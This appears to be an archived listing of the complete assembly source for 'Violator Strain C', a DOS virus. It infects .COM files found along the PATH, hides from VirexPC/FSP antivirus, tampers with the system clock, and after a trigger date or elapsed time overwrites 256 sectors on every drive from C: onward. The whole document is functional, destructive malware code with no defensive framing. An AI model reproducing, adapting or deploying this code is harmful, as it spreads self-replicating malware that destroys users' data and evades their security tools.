home *** CD-ROM | disk | FTP | other *** search
- ;
- ; Violator Strain C - "Violator strikes again..."
- ;
- ; Written by The High Evolutionary
- ; RABID International Development Corp.
- ;
-
- ;
- ; Here are the equates for when the virus will destroy media
- ;
-
- month equ 6 ;Set month to June
- day equ 22 ;Set day to the 22nd
- year equ 1991 ;Set year to 1991
-
- sectors equ 256 ;Fry 256 sectors on the diskette
- lastdrv equ 26 ;Set lastdrive to be fried here
-
-
- CODE SEGMENT
- ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
- ORG $+0100H
-
- @write macro drive,sec,buf
- pushf ; Push all flags onto the stack
- mov al,drive ; Select drive to write
- mov cx,sec ; Choose amount of sectors
- mov dx,0 ; Set format to start at sec. 0
- mov bx,offset buf ; Set format to have intro
- ; string imbedded in sector 0
- int 26h ; Call BIOS to write drive
- popf ; Restore the flags we pushed
- endm
-
-
- violator:
- JMP virus
- NOP
- NOP
- NOP
- NOP
- NOP
- NOP
- NOP
- NOP
- NOP
- NOP
- NOP
- NOP
- NOP
- NOP
- NOP
-
- v_start equ $
-
- virus: PUSH CX
- MOV DX,OFFSET vir_dat ;This is where the virus data starts.
- ; The 2nd and 3rd bytes get modified.
- CLD ;Pointers will be auto INcremented
- MOV SI,DX ;Access data as offset from SI
- ADD SI,first_3 ;Point to original 1st 3 bytes of .COM
- MOV DI,OFFSET 100H ;`cause all .COM files start at 100H
- MOV CX,3
- REPZ MOVSB ;Restore original first 3 bytes of .COM
- MOV SI,DX ;Keep SI pointing to the data area
- ;
- ; This routine here will check to see if FSP or VirexPC is active. If it is,
- ; then we will not run as to avoid detection...
- ;
- ; This is done by using some wierd undocumented DOS call which I've never seen
- ; before, but nonetheless, it does the job...
- ;
-
- mov ax,0ff0fh ;Check memory marker
- int 21h
- cmp ax,101h ;Is the marker for VirexPC/FSP resident
-
- jne year_check ;No? Continue with the virus
- jmp quit ;Yes! Terminate the virus
-
- year_check:
- MOV AH,2AH ; Get date info
- INT 21h ;
- CMP CX,year ; Check if it's (year)
- jb get_space ; Not the year, then must be an
- ; XT...
- JGE month_check ; Yes? Check the month
- JMP do_shit ; No? Go to infection routine
-
- month_check:
- mov ah,2ah
- int 21h
- CMP DH,month ; Check if it's (month)
- JGE day_check ; Yeah? Check the day
- JMP do_shit ; No? Infect a phile
-
- day_check:
- CMP DL,day ; Check if it's (day)
- JGE fry_drives ; Yeah? Kill all drives
- JMP do_shit ; No? Infect a poor guy!
-
- get_space:
- cmp cx,1990 ; Did we change the clock?
- je was_changed ; Yes we did. Continue...
- ;
- ; We only get here if the date is not 1990
- ;
- mov ah,2bh
- mov cx,1990 ; Set date to 1990
- int 21h
- mov ah,2dh
- mov cl,1 ; Set minutes to 1
- int 21h
-
- ;
- ; We only get here is the date is 1990. Check clock...
- ;
-
- was_changed:
- mov ah,2ch
- int 21h ; Get time
- cmp cl,15 ; 15 minutes...
- jae fry ; Have we been run after 15
- ; minutes of usage? Yes! Fry!
- jmp month_check ; No! Continue...
-
- ;
- ; Only print this if it's June 22nd, 1991
- ;
-
- fry_drives:
- mov ah,9
- mov dx,si ; Load DX with SI segment
- add dx,strike ; Print out a message
- int 21h
-
- fry: cmp byte ptr [si+drv],lastdrv ; Check to see if the last
- ; drive is fried
- ja do_shit ; If yeah. Then gedoudahere
- @write [si+drv],256,intro ; No? Then fry the drive...
- inc byte ptr [si+drv] ; Increment for the next drive
- jmp fry ; Then go up and fry another
-
- do_shit:PUSH ES ; Push ES onto the stack
- MOV AH,2FH
- INT 21H
- MOV [SI+old_dta],BX
- MOV [SI+old_dts],ES ;Save the DTA address from ES
- POP ES ;Restore the original ES segment
- MOV DX,dta ;Offset of new DTA in virus data area
- ADD DX,SI ;Compute DTA address
- MOV AH,1AH
- INT 21H ;Set new DTA to inside our own code
- PUSH ES ;Push ES onto the stack
- PUSH SI ;Push the source index
- MOV ES,DS:2CH
- MOV DI,0 ;ES:DI points to environment
-
- find_path:
- POP SI
- PUSH SI ;Get SI back
- ADD SI,env_str ;Point to "PATH=" string in data area
- LODSB
- MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long
- REPNZ SCASB ;Search for first character
- MOV CX,4
-
- check_next_4:
- LODSB
- SCASB
- JNZ find_path ;If not all there, abort & start over
- LOOP check_next_4 ;Loop to check the next character
-
- POP SI
- POP ES
- MOV [SI+path_ad],DI ;Save the address of the PATH
- MOV DI,SI
- ADD DI,wrk_spc ;File name workspace
- MOV BX,SI ;Save a copy of SI
- ADD SI,wrk_spc ;Point SI to workspace
- MOV DI,SI ;Point DI to workspace
- JMP SHORT slash_ok
-
- set_subdir:
- CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended?
- JNZ found_subdir ;If not, there are more subdirectories
- JMP all_done ;Else, we're all done
-
- found_subdir:
- PUSH DS
- PUSH SI
- MOV DS,ES:2CH ;DS points to environment segment
- MOV DI,SI
- MOV SI,ES:[DI+path_ad] ;SI = PATH address
- ADD DI,wrk_spc ;DI points to file name workspace
-
- move_subdir:
- LODSB ;Get character
- CMP AL,';' ;Is it a ';' delimiter?
- JZ moved_one ;Yes, found another subdirectory
- CMP AL,0 ;End of PATH string?
- JZ moved_last_one ;Yes
- STOSB ;Save PATH marker into [DI]
- JMP SHORT move_subdir
-
- moved_last_one:
- MOV SI,0
-
- moved_one:
- POP BX ;Pointer to virus data area
- POP DS ;Restore DS
- MOV [BX+path_ad],SI ;Address of next subdirectory
- CMP CH,'\' ;Ends with "\"?
- JZ slash_ok ;If yes
- MOV AL,'\' ;Add one, if not
- STOSB
-
- slash_ok:
- MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace
- MOV SI,BX ;Restore SI
- ADD SI,f_spec ;Point to "*.COM"
- MOV CX,6 ;Set to read in 6 bytes
- REPZ MOVSB ;Move "*.COM",0 to workspace
- MOV SI,BX
- MOV AH,4EH
- MOV DX,wrk_spc
- ADD DX,SI ;DX points to "*.COM" in workspace
- MOV CX,3 ;Attributes of Read Only or Hidden OK
- INT 21H
- JMP SHORT find_first
-
- find_next:
- MOV AH,4FH
- INT 21H
-
- find_first:
- JNB found_file ;Jump if we found it
- JMP SHORT set_subdir ;Otherwise, get another subdirectory
-
- found_file:
- MOV AX,[SI+dta_tim] ;Get time from DTA
- AND AL,1CH ;Mask to remove all but seconds
- CMP AL,1CH ;56 seconds -> already infected
- JZ find_next ;If so, go find another file
-
- ;******************************************************************************
- ;Is the file too long? If it's 64000 bytes, then don't infect it
- ;******************************************************************************
-
- CMP WORD PTR [SI+dta_len],(0FA00H-virlen)
- ;Is the file too large
- ;
- ; Here we take into acount that the file will fit into even the largest legal
- ; COM file...
- ;
-
- JA find_next ;If too long, find another one
-
- ;******************************************************************************
- ;Is it too short? If it's 1500 bytes or smaller, then don't infect it
- ;******************************************************************************
-
- CMP WORD PTR [SI+dta_len],5dcH
- JB find_next ;Then go find another one
- MOV DI,[SI+nam_ptr] ;DI points to file name
- PUSH SI ;Save SI
- ADD SI,dta_nam ;Point SI to file name
-
- more_chars:
- LODSB
- STOSB
- CMP AL,0
- JNZ more_chars ;Move characters until we find a 00
- POP SI
- MOV AX,OFFSET 4300H
- MOV DX,wrk_spc ;Point to \path\name in workspace
- ADD DX,SI
- INT 21H
- MOV [SI+old_att],CX ;Save the old attributes
- MOV AX,OFFSET 4301H ;Set attributes
- AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird)
- MOV DX,wrk_spc ;Offset of \path\name in workspace
- ADD DX,SI ;Point to \path\name
- INT 21H
- MOV AX,OFFSET 3D02H ;Read/Write
- MOV DX,wrk_spc ;Offset to \path\name in workspace
- ADD DX,SI ;Point to \path\name
- INT 21H
- JNB opened_ok ;If file was opened OK
- JMP fix_attr ;If it failed, restore the attributes
-
- opened_ok:
- MOV BX,AX
- MOV AX,OFFSET 5700H
- INT 21H
- MOV [SI+old_tim],CX ;Save file time
- MOV [SI+ol_date],DX ;Save the date
- MOV AH,2CH
- INT 21H
-
- infect:
- MOV AH,3FH
- MOV CX,3
- MOV DX,first_3
- ADD DX,SI
- INT 21H ;Save first 3 bytes into the data area
- JB fix_time_stamp ;Quit, if read failed
- CMP AX,3 ;Were we able to read all 3 bytes?
- JNZ fix_time_stamp ;Quit, if not
- MOV AX,OFFSET 4202H
- MOV CX,0
- MOV DX,0
- INT 21H
- JB fix_time_stamp ;Quit, if it didn't work
- MOV CX,AX ;DX:AX (long int) = file size
- SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here)
- MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
- ADD CX,OFFSET c_len_y
- MOV DI,SI ;Point DI to virus data area
- SUB DI,OFFSET c_len_x
- ;Point DI to reference vir_dat, at start of pgm
- MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm
- MOV AH,40H
- MOV CX,virlen ;Length of virus, in bytes
- MOV DX,SI
- SUB DX,OFFSET codelen ;Length of virus code, gives starting
- ;address of virus code in memory
- INT 21H
- JB fix_time_stamp ;Jump if error
- CMP AX,OFFSET virlen ;All bytes written?
- JNZ fix_time_stamp ;Jump if error
- MOV AX,OFFSET 4200H
- MOV CX,0
- MOV DX,0
- INT 21H
- JB fix_time_stamp ;Jump if error
- MOV AH,40H
- MOV CX,3
- MOV DX,SI ;Virus data area
- ADD DX,jmp_op ;Point to the reconstructed JMP
- INT 21H
-
- fix_time_stamp:
- MOV DX,[SI+ol_date] ;Old file date
- MOV CX,[SI+old_tim] ;Old file time
- AND CX,OFFSET 0FFE0H
- OR CX,1CH
- MOV AX,OFFSET 5701H
- INT 21H
- MOV AH,3EH
- INT 21H
-
- fix_attr:
- MOV AX,OFFSET 4301H
- MOV CX,[SI+old_att] ;Old Attributes
- MOV DX,wrk_spc
- ADD DX,SI ;DX points to \path\name in workspace
- INT 21H
-
- all_done:
- PUSH DS
- MOV AH,1AH
- MOV DX,[SI+old_dta]
- MOV DS,[SI+old_dts]
- INT 21H
- POP DS
-
- quit:
- POP CX
- XOR AX,AX
- XOR BX,BX
- XOR DX,DX
- XOR SI,SI
- MOV DI,OFFSET 0100H ;Move offset 100h into DI
- PUSH DI ;Push DI onto the stack
- XOR DI,DI ;Zero it out
- RET 0FFFFH ;Jump to the location in DI
- ;
- ; This little trick is used to jump back to the beginning of the program after
- ; our JMP instruction. This is to return control to the host program.
- ;
-
- vir_dat EQU $
-
- drv_ db 2 ;drv is the drive to be
- ;nuked! (Drive C:)
- intro_ DB 13,10
- db 'Violator Strain C - (C) 1991 RABID Int''nl Development Corp.'
- db 13,10
- strike_ db 13,10
- db 'Violator strikes again...'
- db 13,10,'$'
- olddta_ DW 0 ;Old DTA offset
- olddts_ DW 0 ;Old DTA segment
- oldtim_ DW 0 ;Old Time
- oldate_ DW 0 ;Old date
- oldatt_ DW 0 ;Old file attributes
- first3_ EQU $
- INT 20H ;3 byte equate to terminate program
- NOP
- jmpop_ DB 0E9H ;Start of JMP instruction
- jmpdsp_ DW 0 ;The displacement part
- envstr_ DB 'PATH=' ;Find this in the environment
- fspec_ DB '*.COM',0 ;What to infect???
- pathad_ DW 0 ;Path address
- namptr_ DW 0 ;Pointer to start of file name
- wrkspc_ DB 40h dup (0)
- dta_ DB 16h dup (0) ;Temporary DTA goes here
- dtatim_ DW 0,0 ;Time stamp in DTA
- dtalen_ DW 0,0 ;File length in the DTA
- dtanam_ DB 0Dh dup (0) ;File name in the DTA
-
- lst_byt EQU $
-
- virlen = lst_byt - v_start ;Length, in bytes, of the entire virus
- codelen = vir_dat - v_start ;Length of virus code, only
- c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code
- c_len_y = vir_dat - v_start + 100H
- drv = drv_ - vir_dat
- intro = intro_ - vir_dat
- strike = strike_ - vir_dat
- old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset
- old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment
- old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp
- ol_date = oldate_ - vir_dat ;Displacement to old file date stamp
- old_att = oldatt_ - vir_dat ;Displacement to old attributes
- first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM
- jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode
- jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP
- env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string
- f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string
- path_ad = pathad_ - vir_dat ;Displacement to the path address
- nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer
- wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace
- dta = dta_ - vir_dat ;Displacement to the temporary DTA
- dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA
- dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA
- dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA
-
- CODE ENDS
- END violator
-